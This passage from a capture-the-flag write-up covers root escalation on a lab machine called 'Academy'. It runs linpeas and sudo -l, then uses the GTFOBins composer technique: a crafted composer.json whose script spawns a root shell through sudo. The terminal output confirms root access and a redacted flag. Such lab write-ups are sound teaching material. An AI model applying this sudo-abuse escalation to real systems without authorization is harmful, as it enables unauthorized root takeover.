mrb3n@academy:/home/cry0l1t3$ id
|
||
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
|
||
|
||
mrb3n@academy:/home/cry0l1t3$ /tmp/peas.sh
|
||
|
||
|
||
We run linpeas once again as the mrb3n user, and we don't see much, but when we do **sudo -l** we are hinted towards using composer:
|
||
|
||
|
||
mrb3n@academy:/home/cry0l1t3$ sudo -l
|
||
[sudo] password for mrb3n:
|
||
Matching Defaults entries for mrb3n on academy:
|
||
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
|
||
|
||
User mrb3n may run the following commands on academy:
|
||
(ALL) /usr/bin/composer
|
||
|
||
|
||
Taking a look at [gtfobins](https://gtfobins.github.io/gtfobins/composer/) we get a privilege escalation path to the root user:
|
||
|
||
|
||
mrb3n@academy:/home/cry0l1t3$ cd ..
|
||
mrb3n@academy:/home$ TF=$(mktemp -d)
|
||
mrb3n@academy:/home$ echo '{"scripts":{"x":"/bin/sh -i 0<****& 3 1>&3 2>&3"}}' >$TF/composer.json
|
||
mrb3n@academy:/home$ sudo composer --working-dir=$TF run-script x
|
||
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
|
||
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
|
||
Do not run Composer as root/super user! See https://getcomposer.org/root for details
|
||
> /bin/sh -i 0<****& 3 1>&3 2>&3
|
||
# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
# cat /root/root.txt
|
||
ffXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
And that's it! We managed to get to the root user and print the root flag.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||

|
||
|